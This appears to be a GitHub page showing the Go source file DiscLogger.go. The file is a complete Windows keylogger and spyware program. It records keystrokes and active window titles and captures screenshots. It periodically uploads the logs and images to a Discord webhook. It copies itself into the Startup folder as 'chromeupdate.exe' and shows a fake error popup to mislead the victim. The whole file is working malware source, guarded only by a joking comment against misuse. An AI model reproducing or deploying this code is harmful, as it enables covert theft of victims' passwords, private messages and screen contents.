-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDiscLogger.go
211 lines (178 loc) · 5.31 KB
/
DiscLogger.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
package main
//=================================================================//
// Prohibido utilizar ésto con fines malévolos, o Caguen1aMar //
// By Lázaro "LzByte" //
//=================================================================//
import (
"image/png"
"io/ioutil"
"os"
"os/exec"
"os/user"
"path/filepath"
"strings"
"syscall"
"time"
"unsafe"
"github.com/ecnepsnai/discord"
"github.com/kbinani/screenshot"
)
var (
user32 = syscall.NewLazyDLL("user32.dll")
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
procGetKeyState = user32.NewProc("GetKeyState")
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
procGetWindowTextW = user32.NewProc("GetWindowTextW")
usr, _ = user.Current()
usrName string = (strings.Split(usr.Username, "\\"))[1]
//Config->
discordWHlink string = "https://discord.com/api/webhooks/y lo que sigue"
varPath string = "C:\\Users\\" + usrName + "\\AppData\\Roaming"
persistencePath string = varPath + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
persistenceExeName string = "\\chromeupdate.exe"
sendLogsEvery int = 600 //En segundos
clientIDHour string = usr.Username + " [" + ((time.Now()).Format("15:04")) + "]"
//<-Config
alphabet string = "abcdefghijklmnñopqrstuvwxyz"
tmpKeylog string
tmpTitle string
)
func getForegroundWindow() (hwnd syscall.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetForegroundWindow.Addr(), 0, 0, 0, 0)
if e1 != 0 {
err = error(e1)
return
}
hwnd = syscall.Handle(r0)
return
}
func getWindowText(hwnd syscall.Handle, str *uint16, maxCount int32) (len int32, err error) {
r0, _, e1 := syscall.Syscall(procGetWindowTextW.Addr(), 3, uintptr(hwnd), uintptr(unsafe.Pointer(str)), uintptr(maxCount))
len = int32(r0)
if len == 0 {
if e1 != 0 {
err = error(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func windowLogger() {
g, _ := getForegroundWindow()
b := make([]uint16, 200)
_, err := getWindowText(g, &b[0], int32(len(b)))
if err != nil {
}
if syscall.UTF16ToString(b) != "" {
if tmpTitle != syscall.UTF16ToString(b) {
tmpTitle = syscall.UTF16ToString(b)
tmpKeylog += string("\n[" + syscall.UTF16ToString(b) + "]\r\n")
}
}
}
func saveData() {
if len(tmpKeylog) < 1900 {
f, _ := os.Create(varPath + "\\d.txt")
f.Write([]byte(tmpKeylog))
defer f.Close()
}
img, _ := screenshot.CaptureDisplay(0)
file, _ := os.Create(varPath + "\\z.png")
defer file.Close()
png.Encode(file, img)
}
func delData() {
_ = os.Remove(varPath + "\\d.txt")
_ = os.Remove(varPath + "\\z.png")
tmpKeylog = ""
}
func discSend() {
discord.WebhookURL = discordWHlink
l, _ := os.Open(varPath + "\\d.txt")
i, _ := os.Open(varPath + "\\z.png")
if len(tmpKeylog) < 1900 {
content := discord.PostOptions{
Content: tmpKeylog, Username: clientIDHour,
}
FileOptions := discord.FileOptions{
FileName: "screen.png",
Reader: i,
}
discord.UploadFile(content, FileOptions)
} else {
content := discord.PostOptions{
Username: clientIDHour,
}
FileOptions := discord.FileOptions{
FileName: "screen.png",
Reader: i,
}
discord.UploadFile(content, FileOptions)
content = discord.PostOptions{
Username: clientIDHour,
}
FileOptions = discord.FileOptions{
FileName: "log.txt",
Reader: l,
}
discord.UploadFile(content, FileOptions)
}
}
func keyLogger() {
for {
time.Sleep(10 * time.Millisecond)
for KEY := 0; KEY <= 256; KEY++ {
Val, _, _ := procGetAsyncKeyState.Call(uintptr(KEY))
ValMayus, _, _ := procGetKeyState.Call(uintptr(0x14))
ValShift, _, _ := procGetKeyState.Call(uintptr(0x10))
if int(Val) >= 32769 {
windowLogger()
if charSwitch(KEY) != "" {
tmpKeylog += charSwitch(KEY)
if ValMayus > 0 || ValShift > 1 {
lastCharTmpKeylog := tmpKeylog[len(tmpKeylog)-1:]
if strings.Contains(alphabet, lastCharTmpKeylog) {
lastCharUpperTmpKeylog := strings.ToUpper(lastCharTmpKeylog)
tmpKeylog = strings.TrimSuffix(tmpKeylog, lastCharTmpKeylog)
tmpKeylog += lastCharUpperTmpKeylog
}
}
}
}
}
}
}
func persistence() bool {
dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
if dir != persistencePath {
go afterExecuteBehavior()
time.Sleep(2 * time.Second)
_, info := os.Stat(persistencePath + persistenceExeName)
if os.IsNotExist(info) {
exeCompletePath, _ := os.Executable()
exeNameSplitted := strings.Split(exeCompletePath, "\\")
exeName := exeNameSplitted[len(exeNameSplitted)-1]
bytesRead, _ := ioutil.ReadFile(exeName)
_ = ioutil.WriteFile(persistencePath+persistenceExeName, bytesRead, 0)
}
return true
}
return false
}
func afterExecuteBehavior() {
//Ejemplo de mensaje de error en Powershell
exec.Command(`powershell`, `$wshell=New-Object -ComObject Wscript.Shell;$wshell.Popup("x86 system required",0,"Error",0x1)`).Run()
}
func main() {
executedFromStartup := persistence()
if executedFromStartup {
go keyLogger()
for {
time.Sleep(time.Duration(sendLogsEvery) * time.Second)
saveData()
discSend()
delData()
}
}
}